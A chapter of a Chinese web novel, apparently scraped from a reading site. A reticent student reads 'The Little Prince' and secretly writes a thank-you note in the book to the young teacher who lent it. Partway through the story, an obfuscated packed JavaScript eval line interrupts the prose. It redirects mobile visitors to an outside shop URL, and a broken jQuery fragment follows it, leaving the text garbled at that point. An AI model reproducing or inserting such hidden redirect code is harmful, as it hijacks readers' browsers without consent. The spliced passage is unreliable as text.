周末，城中村出租屋。
电视机开着，相亲节目的声音轰出来。姜翠花坐在小马扎上，端着个钢盆，里面是刚买的毛豆。她用大拇指掐掉毛豆两头的尖角，扔进垃圾桶，嘴里跟着电视里的女嘉宾点评，声音比电视还大。
“看书看书，整天看闲书能考上高中？”姜翠花朝苏念的房间喊，“你妈下个月不寄钱，电费水费都得省着用，你把灯关小点。”
苏念在房间里，门关得很严。
书桌缺了个角，底下垫着几叠报纸，桌上放着那本《小王子》。
这是她两天里看的第三遍。
周五晚上，她看了第一遍。封面上的星星和小孩很幼稚，文具店里这种封面的书都配拼音，给小学生看的。她没看懂，里面的人说话颠三倒四。
周六下午，她看了第二遍。她拿出日记本，书放在旁边，开始琢磨那些对话。
周日上午，她看了第三遍。她把书里被自己不小心翻折的几页，一页页重新展平，用指甲刮过折痕，压实。
日记本摊开着，写满了两页。字很密，没分段。
她在日记里写了那个地理学家。地理学家只记录永恒的东西，不记录花。在她眼里，王建国就是那个地理学家。他只看成绩，成绩是白纸黑字的数字，是永恒的。他不看周记里的内容，不看搬西瓜赚来的二十块钱。
她又写了那只狐狸，狐狸说，请你驯养我吧。
苏念看着这几个字，眼睛发酸。她把日记本翻过一页，不想再看。
她没写读后感，只是抄了书里的一句话。
“你为你的玫瑰花付出了时间，才让你的玫瑰花变得那么重要。”
苏念盯着这句话，圆珠笔的笔尖在纸上画着圈。
时间。
王建国不会在她身上花时间。刘国强发卷子，眼睛只看前三排，走到最后一排时步子迈得很大。姜翠花每天花时间算计菜市场的差价。苏敏在深圳的流水线上打螺丝，按件计酬，花时间就是钱。
没人会在一个常年坐最后一排、不说话、考中等分数的学生身上花时间。
林知意花了。
不止花了时间，还给了话梅、饼干、粉色便签纸、一本新书。还坐在旧图书馆的木桌对面，陪她吃冷馒头。
苏念放下笔，合上日记本。
她不敢顺着往下想。姜翠花从小教她，穷人孩子不能随便拿别人的东西，拿了就要还。林知意给的东西，她还不回去。
她拉开抽屉，翻出一支削尖的2B铅笔。
翻开《小王子》，翻到最后一页空白处。
她捏着铅笔，在纸上写了几个字。
写完，她拿过一块发黑的橡皮，用力擦掉。纸上留下一道灰印，纸面起了毛边。
她停了一会儿，重新落笔。
字写得很小，贴着装订线的边，不把书完全摊平根本看不见。
写完后，她合上书。拉开书包最里层的拉链，把书塞进去，压/在最底下。
星期一。
初二（3）班。
早读课是英语，陈小满在旁边背单词，背了三个就趴在桌上打哈欠。
“周末看电视看太晚了。”陈小满揉着眼睛，“你周末干嘛了？”
“没干嘛。”苏念说。
苏念把英语书立起来，书包在椅子背后，拉链开了一半，那本《小王子》的深蓝封面露出一角。
第一节课下课。
周雨晴在第一排收语文练习册。收完第一排，她抱着一摞本子往第二排走。
前门推开，林知意走了进来。
今天她穿一件深蓝外套，长发扎在脑后，手里拿着常用的帆布包。
周雨晴停下脚步，抱着练习册迎上去。
“林老师，练习册收齐了，等下送到办公室。”
林知意点头：“辛苦了。”
她没在讲台停留，直接走下台阶，顺着过道往后走。
周雨晴抱练习册的手收紧，本子的硬角硌着手心。她站在原地，转过身，看着林知意的背影。
又是最后一排。
上周林知意就去过，周雨晴查过苏念的成绩单，语文刚及格，数学常年不及格，英语勉强中等。平时不说话，黑板报连个边框都不会画。实习男老师陈锐请吃雪糕，她当众给人难堪。
这种人有什么值得关注的。
周雨晴的目标是全班第一，不光是成绩，老师眼里的关注度也要第一。王建国表扬她的作文，刘国强让她当课代表，林知意偏偏对那个透明人另眼相看。
周雨晴把练习册重重放在讲台上。她看着林知意坐在李浩的空位上，跟苏念说话。苏念平时低着头，现在却抬着头，看着林知意。两人说话声音很小，周雨晴听不见。
她拿起黑板擦，在黑板上用力擦了几下，粉笔灰落在袖口。她拍了拍袖口，那个透明人，凭什么能让老师主动走过去。
林知意走到最后一排，停在苏念桌边。
苏念放下笔，抬起头。
“看完了吗？”林知意问。
苏念转过身，伸手进书包，把《小王子》拿出来，放在桌上。
“看完了。”苏念说。
“感觉怎么样？”林知意拉开旁边李浩的椅子坐下，李浩去操场打球了，椅子是空的。
苏念看着桌上的深蓝封面。
“我以前看，这是小孩看的书。”苏念说。
林知意笑了，脸颊露出酒窝：“然后呢？”
苏念的手指在校服裤子上蹭了两下，她想起日记本里的两页纸，想起狐狸和玫瑰。
“看完，觉得大人更需要看。”苏念出声。
林知意没马上接话，看着苏念的眼睛。
“等你长大了再看一遍，感受又会不一样。”林知意说。
走廊有人在跑，喊叫声传进教室，教室里很吵。张逸飞在后面拿纸团砸人，陈小满在跟前排女生聊周末的电视剧。
这方小角落却很安静。
“为什么？”苏念问。
“因为它告诉你，重要的东西眼睛看不见。”林知意看着那本书。
苏念在心里默念这句话。
重要的东西，眼睛看不见。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849271|211777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
旧图书馆洗净的坐垫，备课本里夹着的粉色便签，桌子中间光带上的话梅。
这些，王建国看不见，刘国强看不见，周雨晴也看不见。
只有她看见了。
林知意把手放在桌面上，指节敲了两下。
“我大学时，宿舍有个女生，每晚都要在阳台给家里的仙人球浇水。”林知意说，“仙人球不用每天浇水，她自己要浇。她浇了，那盆仙人球就是她的了。”
苏念听着。
“你付出的时间，让普通的东西变得特别。”林知意说。
苏念没说话，林知意在说书，又不像在说书。
“我要去开会了。”林知意站起来。
苏念拿起桌上的《小王子》，递过去。
林知意伸手接书。
两人的手在书的边缘碰到。
林知意的手心温热干燥。苏念的手指常年发凉，早上用冷水洗了脸，指尖温度更低。
碰到的一瞬，苏念把手抽了回来。
动作太大，手肘撞到桌沿，“砰”的一声。
陈小满转头看了一眼，又转回去继续聊天。
林知意没多问，自然地握稳书。
“我回去放。”林知意说。
她转身往教室外走。
苏念坐在椅子上，左手捏住右手手指。
手心那一小块皮肤，热得发烫。热度顺着手腕往上爬。
直到上课铃响，物理老师走进来在黑板上画电路图，苏念的手心还是热的。
她把手平摊在桌上，贴着冰凉的木纹。
办公室。
林知意走到自己的办公桌前，桌上堆着一摞没改完的卷子。
陈锐在旁边批作业，保温杯里泡着枸杞。
“林老师，三班那个苏念，你多盯着点。”陈锐喝了口水，“性格太孤僻，不合群。以后到社会上要吃亏的，上次我好心请她吃雪糕，她当着那么多人给我甩脸子。这种学生，你对她再好她也不记恩。也就是你脾气好，还借书给她看。”
林知意把目光从书页上移开，看了陈锐一眼。
“她有她的规矩。”林知意说。
陈锐愣了一下，没听懂。
林知意没再解释，拉开椅子坐下，她把《小王子》放在桌面上。
书的塑料封皮有些磨损。
林知意随手翻开书页。
纸张发出轻响。
翻到最后一页。
空白处。
靠近内/侧装订线的地方，有一行铅笔字。
字很小，笔画很细。
林知意停下动作，凑近了些。
“谢谢林老师。”
五个字。
旁边还有一道擦过的灰印。
林知意的视线落在那行字上。
办公室里，陈锐抱怨学生的声音，隔壁英语老师打电话的声音，交织在一起。
林知意站着没动。
几秒后，她合上书，抱在胸/前，指尖压紧深蓝的封面。
她走到书柜前，拉开玻璃门，把书放进最里层。